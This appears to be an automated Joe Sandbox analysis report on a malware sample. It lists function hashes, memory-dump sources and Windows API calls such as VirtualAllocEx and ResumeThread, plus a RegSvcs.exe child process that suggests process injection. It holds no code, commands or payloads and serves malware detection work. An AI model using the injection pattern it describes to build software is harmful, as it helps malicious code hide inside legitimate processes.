Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9ce5446c417f509bca4255d13c319a40aab81e8d9badb33340aa35234ad0e514
Instruction ID: fb8f1666a4f35c01719cfa9f53c7a96e05ad533634babd17269c36c9acdd9268
Opcode Fuzzy Hash: 9ce5446c417f509bca4255d13c319a40aab81e8d9badb33340aa35234ad0e514
Instruction Fuzzy Hash: EB1112B6800349DFDB10CFAAC844ADEFBF4EF88310F10842AD959A7200C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 070693B8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07069426

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8e3f29cc1acd898d72b8c513abf0059f4352c877779a9f58fd34b56f9c9c8c09
Instruction ID: 47ba6236c8171c3a7895c685f32538ed52b629bb9e7408c1df40ec17c85021db
Opcode Fuzzy Hash: 8e3f29cc1acd898d72b8c513abf0059f4352c877779a9f58fd34b56f9c9c8c09
Instruction Fuzzy Hash: 101123B1900349DFDF10DFAAC845BDFBBF5AF88320F148819E519A7250C779A950CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07068DF1 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07068E5A

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4684f80eda3120c0ea789ce3d02e083657940a045e4b633bdb96085065d4ff67
Instruction ID: d5b4990517049ac23c43c208a4f98bf1d231c5d1d9a730052bdae14e6ea2ca5e
Opcode Fuzzy Hash: 4684f80eda3120c0ea789ce3d02e083657940a045e4b633bdb96085065d4ff67
Instruction Fuzzy Hash: 561146B1D003498FDB10DFAAC4457DEBBF8AB88624F148419D519A7240CB39A940CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07068DF8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07068E5A

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3cb94b80388c099fc7d2a5cd188174dc247f284a2f3dabb993a44e39cbbf95e2
Instruction ID: 60d5d24318c0707b4a05b25ed8db2c54b77f3570a8ca927cc0089e94f5885293
Opcode Fuzzy Hash: 3cb94b80388c099fc7d2a5cd188174dc247f284a2f3dabb993a44e39cbbf95e2
Instruction Fuzzy Hash: 641136B1900349CFDB10DFAAC4457DFFBF5AF88724F248819D519A7240CB79A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0706C138 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0706DF55

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3bbd305efc8f136a03828d08bd5fb23c7a0aa79403b2f965b6f63a5efb4edc36
Instruction ID: c0aa91ab6185d3aa1b4dd0de41dec27f15002a1d8f032de9d99d2322fc3aaa79
Opcode Fuzzy Hash: 3bbd305efc8f136a03828d08bd5fb23c7a0aa79403b2f965b6f63a5efb4edc36
Instruction Fuzzy Hash: 5B1133B5900749DFDB10DF8AC488BDFBBF8EB48310F10841AE528A7200C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 010AB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010AB086

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fbf594576e4efe436eba9ae1ca811a5bf21d0b0fb105ad0cd6711798b1e9c33d
Instruction ID: 77dff6c8b39ddbc68f9bd1934f97854a18d9236d0069fac4566e7fd2a25a6560
Opcode Fuzzy Hash: fbf594576e4efe436eba9ae1ca811a5bf21d0b0fb105ad0cd6711798b1e9c33d
Instruction Fuzzy Hash: 1411E0B5C00749CFDB20CF9AC444BDEFBF4AB88610F11845AD569B7210D379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0706DEF0 Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0706DF55

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c8439d1b7826044e2f502768a3ec76c141febd74faae7946da313026a0f2c356
Instruction ID: 6fc4b9b1b7220f35b946f551b3aa7a0980bb0111e78886a75aa500e4dfc43062
Opcode Fuzzy Hash: c8439d1b7826044e2f502768a3ec76c141febd74faae7946da313026a0f2c356
Instruction Fuzzy Hash: 451142B5904389CFEB00CF99C189BCEFBF4AB48310F20885AE018A7240C378A644CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102146349.0000000000ECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ecd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936ced3e3cc3dfbd316c8a7d338c624ade7a168168068db54fec2ba4a63cef92
Instruction ID: f3a97bebd999f4f84205390f78a8f551639663745cadc5b6719c71b39f44e00b
Opcode Fuzzy Hash: 936ced3e3cc3dfbd316c8a7d338c624ade7a168168068db54fec2ba4a63cef92
Instruction Fuzzy Hash: FE21E271508204EFDB08DF14DAC0F26BB65FB94328F20816DDA095B256C337E857CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EDD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102200116.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d63edbe7d649a83128aaa1566ee01ae3ebd6383833a0a077d707a20e9c3861
Instruction ID: 22dad08b330f43543841198609ec463704d92591a3b23c6bc256a4d2069e936c
Opcode Fuzzy Hash: 75d63edbe7d649a83128aaa1566ee01ae3ebd6383833a0a077d707a20e9c3861
Instruction Fuzzy Hash: A021D071608204EFDB14DF24D980B26BB66EBC8318F24C56ED90A5B386C33AD847CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00EDD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102200116.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ccbadf66a346a74344d57c93411e2cced36ff8a8d3c8965e43dca513056104
Instruction ID: 1e35227e51aa30be3b7b6ee706a775f7afcdd24831880df05377eab01c39e599
Opcode Fuzzy Hash: 13ccbadf66a346a74344d57c93411e2cced36ff8a8d3c8965e43dca513056104
Instruction Fuzzy Hash: 5921F271608204EFDB05DF64D9C0B26BBA5FB84318F20C56EE9095B3A2C336D847CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00EDD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102200116.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f711d76b4230d281fd4c4f2b521b2b34972488c45e850ecf6aa49fd80bab2d
Instruction ID: b76998b20a30abe9b7f4df0de1526baa8fe1b47800732e9d7c4e331d356e3388
Opcode Fuzzy Hash: 54f711d76b4230d281fd4c4f2b521b2b34972488c45e850ecf6aa49fd80bab2d
Instruction Fuzzy Hash: F021717550D3809FC712CF24D990715BF71EB46214F29C5EBD8498B6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102146349.0000000000ECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ecd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: d0656e9fe9765fc250f0b7d0f4c50487284d218a390f017657bc5ed33ba5c24f
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: A4119D76504240DFCB15CF10DAC4B16BF61FB94324F2486ADD9094A656C33BE85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EDD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102200116.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_edd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction ID: 7f2daffc08d12f7e3b2b4a78c9b9e635538c72d69cc14754b2316e2a87f9d99b
Opcode Fuzzy Hash: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction Fuzzy Hash: 9E118B75908284DFCB15CF50D9C4B15FBB1FB84318F24C6AAD8494B7A6C33AD85ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102146349.0000000000ECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ecd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30df038370749597c4fea13937a37ae5efb8288ea4fefe15ee2b2749a3354016
Instruction ID: c49baa474f5e702424035749bbf2ccefd68d3ee8dc5b7926a785d2199f354257
Opcode Fuzzy Hash: 30df038370749597c4fea13937a37ae5efb8288ea4fefe15ee2b2749a3354016
Instruction Fuzzy Hash: 2001F771008340EAE7105E25CEC4FA6FB98EF41324F14D52FED086A286D27B9842C671

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102146349.0000000000ECD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ECD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ecd000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86cdf532b98982a99193c626f3afdb04cd506d51b15214431bb31151bcd21331
Instruction ID: aef47ce4f0cff03959485fe6e87fd1acb8f8f43ae7f32c1ee5ea4c2d7e40ed5e
Opcode Fuzzy Hash: 86cdf532b98982a99193c626f3afdb04cd506d51b15214431bb31151bcd21331
Instruction Fuzzy Hash: 2FF06271409344AEE7108E15CDC4BA2FF98EB91734F18D55AED0C5A286C27A9845CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0706F287 Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d142d2a9bbc4e2523d8a32c792e62fa546a0147d02302c1026162a45efbd50
Instruction ID: 9b83f9b7836a9186724444f5b9a8b09f0b3dc593f6a85baf2aac3d1b8c1870af
Opcode Fuzzy Hash: 64d142d2a9bbc4e2523d8a32c792e62fa546a0147d02302c1026162a45efbd50
Instruction Fuzzy Hash: 81D1CEB17013028FEB55EB75D424BAE77F6AF89300F14466AE146DB2A0DF35E901CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02DB0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519f9b534091ca7591c9ecf2edcdfa05b085addf5eabd1eba7bfe981d6f856c0
Instruction ID: b679d2b5d29e972a62634b54f90db3241ba291ded9b02867c89af86e6bb095c5
Opcode Fuzzy Hash: 519f9b534091ca7591c9ecf2edcdfa05b085addf5eabd1eba7bfe981d6f856c0
Instruction Fuzzy Hash: 861272B24117458BE731CF65E94C1A93BB1BB85328F908309D2616F2FADBB8954BCF44

Uniqueness

Uniqueness Score: -1.00%

Function 070685D0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b238fa42622636978c66c65105eb402631434d522b18fc505eedb5c5dcda0b1
Instruction ID: f6cb1515ccb89e32a7584d888e6d2ee31977211035f69f16fcfd70a69233faa8
Opcode Fuzzy Hash: 1b238fa42622636978c66c65105eb402631434d522b18fc505eedb5c5dcda0b1
Instruction Fuzzy Hash: E9E139B4E002198FDB14DFA8C5949AEFBF2BF89305F24C269D815AB355D730A942CF61

Uniqueness

Uniqueness Score: -1.00%

Function 07067330 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88da965e78f668e0c4a5bfa4bb84b8a95c3ceb170a449e3277e9a9e488a85da8
Instruction ID: e532f2c49ccb5f832d129d345f9df81d9f1fb36a14ccce2b01491ab9ab4da88e
Opcode Fuzzy Hash: 88da965e78f668e0c4a5bfa4bb84b8a95c3ceb170a449e3277e9a9e488a85da8
Instruction Fuzzy Hash: D9E11DB4E002198FDB14DFA9C5949AEFBF2FF49305F248269D415A7355D730A942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07068EA8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89de51bbd9070fe7ba42f84058e864b142f76d6f80f4eba27ac7e63ce9ead326
Instruction ID: 44f6b59856291ef239888d284ae2e2c71860439c46e79038ad9bdafca5b3be12
Opcode Fuzzy Hash: 89de51bbd9070fe7ba42f84058e864b142f76d6f80f4eba27ac7e63ce9ead326
Instruction Fuzzy Hash: A5E12EB4E102198FDB14DFA8C5949AEFBF2FF89305F248259D415AB355D730A942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07066EF8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 916b020c618de788541835fc8c16a0d353285eff49ace27921407676817df976
Instruction ID: 2de0b4c9f6f8a142ffdf98bd1033dd25097ea1e6ae4f73c29ec8efa3d1c22f5d
Opcode Fuzzy Hash: 916b020c618de788541835fc8c16a0d353285eff49ace27921407676817df976
Instruction Fuzzy Hash: 72E11BB4E002198FDB14DFA9C5949AEFBF2FF89305F248259D815AB315D731A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07066AC0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381e35ede4ce73883406a2126f1f02f49c1a1176461c5ec4c106fdf7d934784d
Instruction ID: 7f70da8ba5adc669520a61ca959b5b46aaf574bc2d8eb34b7804271006ef5679
Opcode Fuzzy Hash: 381e35ede4ce73883406a2126f1f02f49c1a1176461c5ec4c106fdf7d934784d
Instruction Fuzzy Hash: 13E13BB4E002198FDB14DFA9C5949AEFBF2FF89305F248269D415AB315D731A941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 010ADC74 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e118bf279e976094a1ceedef0e8e4a1fa0928ba0a30aecaf9dffb7f12a62de
Instruction ID: 9965bb0bcc6898151d02f3ffa1bac09714bc1d4062a56b287cd43be695676724
Opcode Fuzzy Hash: 61e118bf279e976094a1ceedef0e8e4a1fa0928ba0a30aecaf9dffb7f12a62de
Instruction Fuzzy Hash: 8DA16D32E0021A8FCF15DFF8C8405DEBBB2FF84300B5585AAE945AB265DB71E955CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02DB0007 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f8cb878a048768fb8252f555ccc8cd85d004b586463e8b96ddb4f79dee9c45
Instruction ID: 02b5bb7efcb47ab88beb3b3ac3f75ff8532bd37e0ade6ed12297f033423d1ecf
Opcode Fuzzy Hash: f3f8cb878a048768fb8252f555ccc8cd85d004b586463e8b96ddb4f79dee9c45
Instruction Fuzzy Hash: F8D107B28117458FE721CF65E8481A93BB1BB85324F658309D1616F2FADBB8A44FCF44

Uniqueness

Uniqueness Score: -1.00%

Function 07060620 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e37dc350e0b238e1489b2e1c398f873d4c7e5d96d539d27c36bbadf53b2cce
Instruction ID: ec68fffc95e50ae0ac1c80d712d88c53fd6359f88fb2744257304a6430de5237
Opcode Fuzzy Hash: c0e37dc350e0b238e1489b2e1c398f873d4c7e5d96d539d27c36bbadf53b2cce
Instruction Fuzzy Hash: B961A1B4E052199FCB04DFA9D5909AEFBF2FF89310F24C569D818A7355D630A942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 07065FA0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46aec24ce0150bf26f4f0f63af031078c3f491faf43aa6ab250ffcbe1288c0bf
Instruction ID: 6956eb958f788c0c69e4f4a6e774d77e9c59d26bdcf1e936c06d581257e7a2af
Opcode Fuzzy Hash: 46aec24ce0150bf26f4f0f63af031078c3f491faf43aa6ab250ffcbe1288c0bf
Instruction Fuzzy Hash: EF51F6B4D18219CFDF04DF9AD8585EEFBFABB8A300F149225E429E7211D7329941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 07060611 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f85a3cff4b045609d2111267b28039105411203c02459542afbc90f4af66a48e
Instruction ID: 47a26bb64a7d48d0a6d3f26a5f6fddcad835e6e9d3d1a65ec7657369c139c16b
Opcode Fuzzy Hash: f85a3cff4b045609d2111267b28039105411203c02459542afbc90f4af66a48e
Instruction Fuzzy Hash: 3A41C8B5E016189FDB48DFAAC980A9EFBF2FF88310F14C569D418A7355DA309946CB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 1936, Parent PID: 3544COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	4

Executed Functions

Function 05DD5658 Relevance: 1.8, Strings: 1, Instructions: 592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 05DD59F9

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: ca1fde8602b367e7a5b8ac3f007b50c8a7a4afb14c4a0dde50950e72fa3cb109
Instruction ID: be161689eb8864d440a242d81b04c7d76af443700a13f6d6e2cf48d3455c8362
Opcode Fuzzy Hash: ca1fde8602b367e7a5b8ac3f007b50c8a7a4afb14c4a0dde50950e72fa3cb109
Instruction Fuzzy Hash: 53228135E002159FDF20DBA8D490AAEFBB2FF85320F24856AD456EB344DA35DC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD66B0 Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1888581666f29af438a0960f3aa22b44751b76a6be2f962b1ce21b85af8b0aee
Instruction ID: e82909d7729ff129fd89f73969848bb999d0412a6d293e2e43572213beaba4ae
Opcode Fuzzy Hash: 1888581666f29af438a0960f3aa22b44751b76a6be2f962b1ce21b85af8b0aee
Instruction Fuzzy Hash: 4A625C34B002058FDB14DB68D594BADF7B2FB89311F14856AE406EB394EB35ED46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDC238 Relevance: .6, Instructions: 640
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc65db980a969e2eaba36edf72ae3b4a2dd02beae38830edd2c592d0b8130c1
Instruction ID: af76ade2e288a24eb77f9f9640af93d7692ee634ced1bd5a351c5a887a70b1a3
Opcode Fuzzy Hash: ffc65db980a969e2eaba36edf72ae3b4a2dd02beae38830edd2c592d0b8130c1
Instruction Fuzzy Hash: F8329234B102059FDB14DB68D894FAEB7B2FB89310F10892AE505E7365DB35EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB2DF Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24c405f3f130b65b52f9c37949607fa3b9b689d9e2ca62d25a3a21cf73bccc6
Instruction ID: 0d78812f46a52ce83077d1719d6bba3d1459d9f67481264845fba323c6ee4b45
Opcode Fuzzy Hash: f24c405f3f130b65b52f9c37949607fa3b9b689d9e2ca62d25a3a21cf73bccc6
Instruction Fuzzy Hash: 7B226F34E002099BEF24DA68D490BBDF7B2FB49314F658827E405EB395DA35DC819FA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3520 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b98b14bd83371a9d8dc2e82fb7fec1c92274235629ddf4df22429babacb51b9
Instruction ID: dccb15cd6fbdc9349ebc945c42fca8442b53db0505a350e51e8d06efc82091a2
Opcode Fuzzy Hash: 4b98b14bd83371a9d8dc2e82fb7fec1c92274235629ddf4df22429babacb51b9
Instruction Fuzzy Hash: 95323131E1075ACFDB14EB75D89099DF7B2FFC9300F609A5AD40AA7214EB30A985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7E40 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b31c2d97b59c75bdbd9478d17c15e26bc88e574aaf8755624f3bf3d8e2d6d5bc
Instruction ID: a5fada8a038ee7602d70f1a665099657a97628688c2075967e787a25a585de6d
Opcode Fuzzy Hash: b31c2d97b59c75bdbd9478d17c15e26bc88e574aaf8755624f3bf3d8e2d6d5bc
Instruction Fuzzy Hash: 89028030B012158FDB15DB68D894BAEB7B2FF85310F24856AE806DB395DB35EC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0249EE9C Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0249EF3F

Memory Dump Source

Source File: 00000009.00000002.2133038011.0000000002490000.00000040.00000800.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

